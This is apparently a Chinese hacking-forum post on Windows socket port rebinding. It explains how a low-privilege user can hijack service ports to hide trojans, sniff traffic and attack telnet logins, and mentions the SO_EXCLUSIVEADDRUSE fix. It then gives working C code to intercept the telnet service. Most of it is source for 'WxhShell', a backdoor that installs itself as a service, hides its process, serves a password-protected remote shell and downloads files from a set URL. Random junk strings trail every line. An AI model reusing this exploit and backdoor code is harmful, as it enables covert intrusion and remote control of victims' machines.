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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Wnf3[fV6P  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3P}^Wu  
-=;V*;  
  saddr.sin_family = AF_INET; Uj/m  
lhk=yVG3  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); --D&a;CO}  
U-]Rm}X\M  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); OCX>LK!K  
PQ0l<]Y  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 \jR('5DcB  
th :I31  
  这意味着什么?意味着可以进行如下的攻击: JXhHitUD  
V eD<1<  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 %@q/OVnM  
,)svSzR  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) <i1.W !%  
\gU=B|W  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 H Z)an  
{e/6iSpT  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  M9PzA'}4W6  
Y-ZTv(<  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 S7(Vc H  
U%PII>s'#  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 C@P4}X0,=  
g!![%*' b  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;$FpxurX  
{hRM=f7  
  #include gK%^}xU+  
  #include o6b\ w  
  #include <H]1 6  
  #include    f7du1k3  
  DWORD WINAPI ClientThread(LPVOID lpParam);   mI4)+8SUu  
  int main() e/J|wM9Ak  
  { ;ND)h pD+  
  WORD wVersionRequested; 9)~Ha iVB  
  DWORD ret; %~{G*%:  
  WSADATA wsaData; +\D?H.P  
  BOOL val; -~HyzX\cZB  
  SOCKADDR_IN saddr; 9$iDK$%  
  SOCKADDR_IN scaddr; iC`mj  
  int err; 7O \sQ]i6  
  SOCKET s; 7%7 \2!0J}  
  SOCKET sc; O9/7?"l"  
  int caddsize; ,x]xtg?  
  HANDLE mt; O\z]1`i*o  
  DWORD tid;   `9>1 w d  
  wVersionRequested = MAKEWORD( 2, 2 ); ? 3'O  
  err = WSAStartup( wVersionRequested, &wsaData ); <q<kqy5s-R  
  if ( err != 0 ) { <<iwJ U%:  
  printf("error!WSAStartup failed!\n"); YB?5s`vr9d  
  return -1; EZw<)Q   
  } #CcC& I :c  
  saddr.sin_family = AF_INET; sSdnH_;&  
   c:OFBVZ   
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 q2U8]V U)  
&?wNL@n  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); gd=gc<zYP  
  saddr.sin_port = htons(23); P-25]-  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) GyP.;$NHa[  
  { x<lY&KQ0  
  printf("error!socket failed!\n"); nS$_VJ]~  
  return -1; 9`8D Ga  
  } EW}7T3g  
  val = TRUE; 6.(L8.jv  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 BK/~2u  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) +jifbf-  
  { dF#`_!4pbf  
  printf("error!setsockopt failed!\n"); o)}M$}4  
  return -1; :IB@@5r1  
  } a|5^4 J \%  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ("!P_Q#  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 E{B8+T:3  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 {<J(*K*\Jo  
 |tVWmm^m  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) t_\;G~O9-M  
  { iI 4XM>`a  
  ret=GetLastError(); %X^K5Io  
  printf("error!bind failed!\n"); kE` V@F  
  return -1; =e j'5m($3  
  } W, YYL(L  
  listen(s,2); 6vL+qOdx  
  while(1) 9s9_a4t5  
  { 3{"MN=  
  caddsize = sizeof(scaddr); |Js?@  
  //接受连接请求 y'#i'0eeL  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ;"T,3JQPn6  
  if(sc!=INVALID_SOCKET) 1:Dm, d;  
  { Q(0eq_X|6  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); l NhX)D^t  
  if(mt==NULL) %<?U`o@*  
  { G~$[(Fhk  
  printf("Thread Creat Failed!\n");  L4 )  
  break; 1O@y >cV  
  } Dc;zgLLL  
  } {CH *?|t  
  CloseHandle(mt); ~IIlCmMl,  
  } y%NZ(Y,v  
  closesocket(s); 9@{=2 k  
  WSACleanup(); -Nu Rf#  
  return 0; PD$@.pib  
  }   iLR^V!  
  DWORD WINAPI ClientThread(LPVOID lpParam) cE SSSH!m  
  { *\4u:1Cu  
  SOCKET ss = (SOCKET)lpParam; R.rxpJ+kU  
  SOCKET sc; $1< ~J  
  unsigned char buf[4096]; j$Unw  
  SOCKADDR_IN saddr; _`LQnRp(  
  long num; \ W.uV[\  
  DWORD val; n)6mfoe  
  DWORD ret; }+3v5Nz;  
  //如果是隐藏端口应用的话,可以在此处加一些判断 rh+2 7"  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ,'>,N/JA  
  saddr.sin_family = AF_INET; stcbM  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Vub ($  
  saddr.sin_port = htons(23); !W?6,i-]  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) w]Byl3}Gt  
  { 4y$tp1 8  
  printf("error!socket failed!\n"); G zw $M  
  return -1; S{.G=O  
  } EKTn$k=  
  val = 100; G;k#06  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) | bWvQdN  
  { +D&aE$<  
  ret = GetLastError(); n(.U>_ P  
  return -1; (I7s[  
  } `:&jbd4H  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) IJz=SV  
  { hantGw |  
  ret = GetLastError(); CUG3C  
  return -1; LRa^x44  
  } ;(1Xb   
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) WD${f#]N  
  { +`D,7"{Eu  
  printf("error!socket connect failed!\n"); =MCQNyf+  
  closesocket(sc); /Q*o6G ys0  
  closesocket(ss); 20Rj Rd  
  return -1; [8OQ5}do/  
  } *W&}}iL  
  while(1) l*(Ml= O{  
  { wx2 EMr   
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 zv>3Tc0R  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 D Xjw"^x  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 @ UgZZ  
  num = recv(ss,buf,4096,0); DE659=Tq  
  if(num>0) |MEu"pY)  
  send(sc,buf,num,0); P9/Bc^5'  
  else if(num==0) 'L1=:g.\i  
  break; :\sz`p?EC  
  num = recv(sc,buf,4096,0); C 7e  
  if(num>0) piv/QP-X  
  send(ss,buf,num,0); l]wjH5mz=i  
  else if(num==0) % bpVK~z  
  break; S( nZ]QEG  
  } |gP9^B?3  
  closesocket(ss); =}h8Cl{H/  
  closesocket(sc); vSf ?o\O  
  return 0 ; AXmW7/Sj"  
  } ) }.<lSw  
%DqPRl.Gu  
iT;~0XU7F  
========================================================== U0Q:sA U  
=!pfgE  
下边附上一个代码,,WXhSHELL `~ ,  
=:~%$5[[  
========================================================== P}dhpU  
bU+ z(Eg6  
#include "stdafx.h" a9<&|L <  
kl&9M!;:n  
#include <stdio.h> ;WG6|QgV?-  
#include <string.h> s1/:Ts[3i  
#include <windows.h> ?oKY"C8/  
#include <winsock2.h> Ait3KIJ9  
#include <winsvc.h> ^.]]0Rp&  
#include <urlmon.h> }% m:^*@$9  
aLKvl~s;m  
#pragma comment (lib, "Ws2_32.lib") %?`TyVt&0  
#pragma comment (lib, "urlmon.lib") $: %U`46%s  
-N4km5  
#define MAX_USER   100 // 最大客户端连接数 #^Io9dA h  
#define BUF_SOCK   200 // sock buffer ={GYJ. *Ah  
#define KEY_BUFF   255 // 输入 buffer X?Yp=%%  
NDt +m  
#define REBOOT     0   // 重启 OB&lq.r  
#define SHUTDOWN   1   // 关机 '=^$ ;3Z  
n,.ZLuBEX  
#define DEF_PORT   5000 // 监听端口 <l,Kg 'v  
|i-d#x8  
#define REG_LEN     16   // 注册表键长度 X=Th  
#define SVC_LEN     80   // NT服务名长度 k;AV  'r  
ZV?~~_ 9  
// 从dll定义API g/2eY$6Z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #UO#kC<2(B  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); w&F/P]1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); P<1ZpL  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4kZ9]5#.  
:mpR}.^hv  
// wxhshell配置信息 RkW)B^#  
struct WSCFG { XKTX~:  
  int ws_port;         // 监听端口 6N^sUc0s  
  char ws_passstr[REG_LEN]; // 口令 c,\!<4  
  int ws_autoins;       // 安装标记, 1=yes 0=no N0:gY]o%  
  char ws_regname[REG_LEN]; // 注册表键名 <o\2-fWvY  
  char ws_svcname[REG_LEN]; // 服务名 qg(rG5kD@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~gjREl,+D#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 tk"+PTGJT  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &$!'Cw`,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [^U#ic>cT  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3*DwXH+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6axDuwQ  
`(RQh@H  
}; `9+>2*k  
c|s*(WljY  
// default Wxhshell configuration 8\85Wk{b  
struct WSCFG wscfg={DEF_PORT, : Y{aa1  
    "xuhuanlingzhe", :n4X>YL)  
    1, w# t[sI"IT  
    "Wxhshell", *i}Nb* Z3  
    "Wxhshell", Mk*&CNo3  
            "WxhShell Service", /Ww_fY  
    "Wrsky Windows CmdShell Service", '_~X(izc  
    "Please Input Your Password: ", t:|+U:! >  
  1, 7,\Uk|  
  "http://www.wrsky.com/wxhshell.exe", RawK9K_1  
  "Wxhshell.exe" E%f;Z7G  
    }; 4|&7j7<u  
R"au8f.  
// 消息定义模块 I1H} 5 bf3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; A1zqm_X5)P  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >@2l/x8;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]aqHk  
char *msg_ws_ext="\n\rExit."; 4)o_gm~6c4  
char *msg_ws_end="\n\rQuit."; ?D].Za^km  
char *msg_ws_boot="\n\rReboot..."; $uA?c& e  
char *msg_ws_poff="\n\rShutdown..."; {|}tp<:2  
char *msg_ws_down="\n\rSave to "; v}=3  
FN#6pM']|  
char *msg_ws_err="\n\rErr!"; q<YteuZJ,  
char *msg_ws_ok="\n\rOK!"; o8:K6y  
I[~EQ {Iz  
char ExeFile[MAX_PATH]; AnbY<&OC1  
int nUser = 0; )C @W_cfMN  
HANDLE handles[MAX_USER]; Y* #'Gh,  
int OsIsNt; VQm)32'  
iY=M67V  
SERVICE_STATUS       serviceStatus; x*H4o{o0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (c /H$'  
%$b)l? !  
// 函数声明 KzQ\A!qG  
int Install(void); }w \["r  
int Uninstall(void); ; &2J9  
int DownloadFile(char *sURL, SOCKET wsh); z$3 3NM  
int Boot(int flag); Gs*FbrY  
void HideProc(void); SR 9 Cl  
int GetOsVer(void); m6a q_u{W  
int Wxhshell(SOCKET wsl); XE_|H1&j  
void TalkWithClient(void *cs); rp sq.n   
int CmdShell(SOCKET sock); ti:qOSIDTA  
int StartFromService(void); u,:GJU  
int StartWxhshell(LPSTR lpCmdLine); >EFjyhVE  
}5H3DavW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %]JSDb=C  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0`=#1u8  
aU]A#g   
// 数据结构和表定义 r5qp[Ss3F  
SERVICE_TABLE_ENTRY DispatchTable[] = ~X^L3=!vf  
{ A KO#$OJE  
{wscfg.ws_svcname, NTServiceMain}, PaF`dnJ  
{NULL, NULL} <|~8Ezd  
}; >9{Gdq[gyr  
TIg 3'au  
// 自我安装 &pS <4  
int Install(void) /I{<]m$  
{ nDnSVrvd-i  
  char svExeFile[MAX_PATH]; <4z |"(  
  HKEY key;  Z(p kj  
  strcpy(svExeFile,ExeFile); 2f1WT g)  
 k%V#{t.  
// 如果是win9x系统,修改注册表设为自启动 _tZT  
if(!OsIsNt) { *<n]"-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +Zu*9&Cx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $LLkYOwI  
  RegCloseKey(key); c&.>SR')  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^PIU A'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n7`R+4/s  
  RegCloseKey(key); &wsxH4  
  return 0; q/,>UtRr  
    } Jg=[!j0(  
  } 1BK-uv:  
} Hc1S:RW  
else { 'Z#8]YP`  
VfOm#Ue0 q  
// 如果是NT以上系统,安装为系统服务 lz.ta!6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {)]5o| Hx  
if (schSCManager!=0) ftB-gItV  
{ ; F% 3b47  
  SC_HANDLE schService = CreateService FU9q|!2Y  
  ( (K"U #Zn  
  schSCManager, 1w}%>e-S  
  wscfg.ws_svcname, [k-Q89  
  wscfg.ws_svcdisp, Y.&nxT95=  
  SERVICE_ALL_ACCESS, &U%AVD[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , J ylav:  
  SERVICE_AUTO_START, ~;nh|v/e  
  SERVICE_ERROR_NORMAL, /?<o?IR~6  
  svExeFile, P!@b:.$  
  NULL, {fe[$KQ  
  NULL, f0+)%gO{  
  NULL, -\C;2&(  
  NULL, &`+tWL6L  
  NULL KwO;ICdJ  
  ); 57 (bd0@8  
  if (schService!=0) /U\k<\1~m  
  { }pqnF53  
  CloseServiceHandle(schService); ?:DeOBAb  
  CloseServiceHandle(schSCManager); Aw#@}TGT  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zf+jQ  
  strcat(svExeFile,wscfg.ws_svcname); (JV [7u -  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { WUnz  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); h"R{{y f2  
  RegCloseKey(key); 4yy9m8/  
  return 0; "m2g"x a\7  
    } )LOV)z|}  
  } {v CB$@/o  
  CloseServiceHandle(schSCManager); <5).(MTa  
} w)xiiO[  
} 3vdhoS|  
,j3Yvn W  
return 1; {v3?.a$ u  
} E~]37!,\\9  
-d'swx2aZ!  
// 自我卸载 =(]yl_  
int Uninstall(void) ,u.G6"<  
{ B Oc2<M/\  
  HKEY key; vca]yK<u  
qXF#qS-28  
if(!OsIsNt) { Xg <R+o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Go;fQ yG  
  RegDeleteValue(key,wscfg.ws_regname); W"3YA+qpI  
  RegCloseKey(key); <PMQ$s>KK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #E`wqI\'  
  RegDeleteValue(key,wscfg.ws_regname); 7 &O 0  
  RegCloseKey(key); o57r ,`N  
  return 0;  =&8Cg  
  } ,M?K3lG\g[  
} OV>JmYe1{/  
} U7_1R0h  
else { H;D CkVL  
Pl/}`H:R&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Z@1vJH6IbA  
if (schSCManager!=0) 2=]Xe#5J=  
{ 6B8g MO  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); B!j7vXM2  
  if (schService!=0) yiO/0nMp  
  { Z%m\/wr  
  if(DeleteService(schService)!=0) { YP4lizs.  
  CloseServiceHandle(schService); |#i|BVnoE  
  CloseServiceHandle(schSCManager); Fo.p}j+>  
  return 0; i8nzPKF2$3  
  } fUKi@*^ZUa  
  CloseServiceHandle(schService); UD0#Tpd7  
  } G2 {R5F !  
  CloseServiceHandle(schSCManager); A6S|pO1)3  
} O[<YYL 0  
} *S= c0  
jCK 0+,;  
return 1; ; 8B )J<y  
} ^| r6>b  
N~! G AaD  
// 从指定url下载文件 w l#jSj%pd  
int DownloadFile(char *sURL, SOCKET wsh) cOoF +hz0O  
{ `:*O8h~i^8  
  HRESULT hr; 0J z|BE3Y  
char seps[]= "/"; Qz4n%|  
char *token; jccSjGX@w  
char *file; {8e4TD9E0  
char myURL[MAX_PATH]; /cC4K\M  
char myFILE[MAX_PATH]; d`sIgll&n  
?' /#Gt`  
strcpy(myURL,sURL); c[zGWF#1>  
  token=strtok(myURL,seps); /oC@:7  
  while(token!=NULL) dw YGhhm  
  { 1zGhX]z  
    file=token; AYHefAF<w  
  token=strtok(NULL,seps); &s~b1Va  
  } p/ au.mc  
S]g`Ds<  
GetCurrentDirectory(MAX_PATH,myFILE); #!7b3>}  
strcat(myFILE, "\\"); G_v^IM#B=  
strcat(myFILE, file); DTN)#G CtF  
  send(wsh,myFILE,strlen(myFILE),0); :Oh*Q(>  
send(wsh,"...",3,0); KYM%U" jD  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); tdOox87YK  
  if(hr==S_OK) Sej(jJX1  
return 0; %d^ =$Q  
else ,tl(\4n  
return 1; Cm%xI& Y  
$0,lE+7*  
} JrGY`6##p  
Q=?YY-*$  
// 系统电源模块 <o: O<p@6  
int Boot(int flag) [W Ud9fUL  
{ W.7XShwd*2  
  HANDLE hToken; ;R*tT%Z,  
  TOKEN_PRIVILEGES tkp; 9/dI 6P7  
b@ OF  
  if(OsIsNt) { #<81`%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); b0aV?A}th  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @,;VMO  
    tkp.PrivilegeCount = 1; gV;9lpZ2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4|/=]w  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); k{E!X  
if(flag==REBOOT) { c;doxNd6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) qrkJ:  
  return 0; SGUZ'}  
} 1+9}Xnxb  
else { x.ucsb  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) IP+.L]S  
  return 0; !BEl6h  
} ';KZ.D  
  } g;\_MbfP  
  else { Ybp';8V  
if(flag==REBOOT) { g&fq)d  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Z>_F:1x  
  return 0; A ^X1  
} qU+q Y2S:  
else { ]?UK98uS\A  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) SxW.dT8{  
  return 0; ]z"7v  
} ^$~&e :{  
} s/0~!0  
yBnUz"  
return 1; _&K>fy3t&  
} fea4Ul{ib  
*5q_fO  
// win9x进程隐藏模块 UU  DZ  
void HideProc(void) gF~#M1!!  
{ sO 0j!;N  
Km!~zG7<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;[!W*8.c  
  if ( hKernel != NULL ) ^ SW!S_&Z2  
  { #KwK``XC 4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); i1DJ0xC]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |s, Add:S  
    FreeLibrary(hKernel); B;^YHWJ6i  
  } 6+W`:0je  
BB3wG*q  
return; Tu7sA.73k  
} }<mK79m  
9y`Vg  
// 获取操作系统版本 mE"},ksg  
int GetOsVer(void) BiD}C  
{ &0JCZ /e  
  OSVERSIONINFO winfo; #Y<(7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); dobqYd4`  
  GetVersionEx(&winfo); <XH,kI(%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) '<%;Nv  
  return 1; Ou wEO   
  else @{o3NR_  
  return 0; <S(`e/#[  
} 2PG= T/  
Ct0YwIR*  
// 客户端句柄模块 :y3e-lr  
int Wxhshell(SOCKET wsl) m$80D,3  
{ faPgp  
  SOCKET wsh; GCv*a[8?n  
  struct sockaddr_in client; mH5[(?   
  DWORD myID; ,n/^;. _1  
~v^I*/uY  
  while(nUser<MAX_USER) JQk][3Rv  
{ aT20FEZ;  
  int nSize=sizeof(client); ,,CheRO  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (sL!nRw  
  if(wsh==INVALID_SOCKET) return 1; `;v>fTcy  
CK#SD|~:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ZFa<{J<2  
if(handles[nUser]==0) MT(G=r8  
  closesocket(wsh); P"ATqQG%D  
else 3FhkK/@  
  nUser++; (#5TM1/A  
  } N]7#Q.(~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); O+*<^*YyD  
t7qzAr  
  return 0; ,c.(&@  
} #xe-Yw1!  
dBM> ;S;v  
// 关闭 socket {+^qm8n  
void CloseIt(SOCKET wsh) x'hUw*  
{ /d prs(*K  
closesocket(wsh); X2S:"0?7  
nUser--; 4I7;/ZgALQ  
ExitThread(0); *$EcP`K$  
} e'L$g-;>4b  
ZD t|g^  
// 客户端请求句柄 BY!M(X jrZ  
void TalkWithClient(void *cs) .C?rToCY  
{ d|RDx;r l8  
J'4V_Kjg-  
  SOCKET wsh=(SOCKET)cs; |"o/GUI~  
  char pwd[SVC_LEN]; 8*m=U@5]  
  char cmd[KEY_BUFF]; {*Tnl-m~  
char chr[1]; L"ob ))GF  
int i,j; gRQV)8uh  
+VdC g_  
  while (nUser < MAX_USER) { m* JbZT  
#oQDt'  
if(wscfg.ws_passstr) { uszH1@g'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0DgEOW9H  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  0gOB $W  
  //ZeroMemory(pwd,KEY_BUFF); RY9h^q*  
      i=0; c</u]TD  
  while(i<SVC_LEN) { G@I/Dy  
})^%>yLfc|  
  // 设置超时 3Z-N*bhC  
  fd_set FdRead; ITf, )?|]Y  
  struct timeval TimeOut; \V/;i.ng  
  FD_ZERO(&FdRead); <|R`N)AV;  
  FD_SET(wsh,&FdRead); DP<[Uz&  
  TimeOut.tv_sec=8; 'awZ-$#  
  TimeOut.tv_usec=0; DC6xet{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ( V^C7ix:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?PSVVU q,Z  
HMrl!;:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gW(7jFl  
  pwd=chr[0]; +(qs{07A$  
  if(chr[0]==0xd || chr[0]==0xa) { /+{]?y,  
  pwd=0; , s .{R  
  break; ];VJ54  
  } cW*p}hD  
  i++; p:@JCsH=  
    } bX*c-r:  
*&A/0]w  
  // 如果是非法用户,关闭 socket XEvDtDR  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [23F0-p  
} @h$4Mt7N  
}8,[B50  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $yY\[C  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >ho$mvT  
SB}0u=5  
while(1) { (iO8[  
!1<?ddH6  
  ZeroMemory(cmd,KEY_BUFF); Wo[*P\8  
)|SmB YV  
      // 自动支持客户端 telnet标准   5(V'<  
  j=0; vE=)qn=a  
  while(j<KEY_BUFF) { ~+r"% KnG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~:M"JNcs  
  cmd[j]=chr[0]; eTrIN,4  
  if(chr[0]==0xa || chr[0]==0xd) { p z]T9ol~  
  cmd[j]=0; <!qv$3/7  
  break; }jWZqIqj  
  } knU=#  
  j++; M^twD*  
    } = ^OXP+o  
:6}y gL*i  
  // 下载文件 `3KXWN`.s  
  if(strstr(cmd,"http://")) { L dyTB@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); tF@hH}{;  
  if(DownloadFile(cmd,wsh)) / Q8glLnM  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); P pF"n[j  
  else ]l.qp5eQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |&hu3-(  
  } eJv_`#R&Of  
  else { NrrnG]#p1  
^A"TY  
    switch(cmd[0]) { 7Ne`F(c  
  q=H dGv  
  // 帮助 [LHx9(,NM  
  case '?': { >PD*)Uq&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !qjIhZi  
    break; ">LX>uYmX-  
  } K4V\Jj1l  
  // 安装 7Y>17=|  
  case 'i': { 7@@,4_q E  
    if(Install()) vg6 ' ^5S7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n M?mdb  
    else & 1:_+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j~)GZV  
    break; e t$VR:  
    } N7b+GqYpF>  
  // 卸载 }{(dG7G+  
  case 'r': { F/ODV=J-  
    if(Uninstall()) 2zz7/]?Q   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x=%p~$C  
    else 0L5 n<<7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !&n'1gJ)kd  
    break; yG`J3++ S  
    } `~hB-Z5dI  
  // 显示 wxhshell 所在路径 ^D=1%@l?#  
  case 'p': { HL^+:`,  
    char svExeFile[MAX_PATH]; U^n71m>]%T  
    strcpy(svExeFile,"\n\r"); =@%Ukrd@  
      strcat(svExeFile,ExeFile); `=zlS"dQ  
        send(wsh,svExeFile,strlen(svExeFile),0); a->;K+  
    break; \.`;p  
    } Nzo;j0 [  
  // 重启 4zRz U  
  case 'b': { r}1.=a  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); K>tubLYh  
    if(Boot(REBOOT)) _Prh&Q1zs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nI_43rG:Uf  
    else { IYo{eX~=  
    closesocket(wsh); f[AN=M"B"s  
    ExitThread(0); z; dFS  
    } h "MiD  
    break; ;!ICLkc$  
    } 7H+IW4Ma  
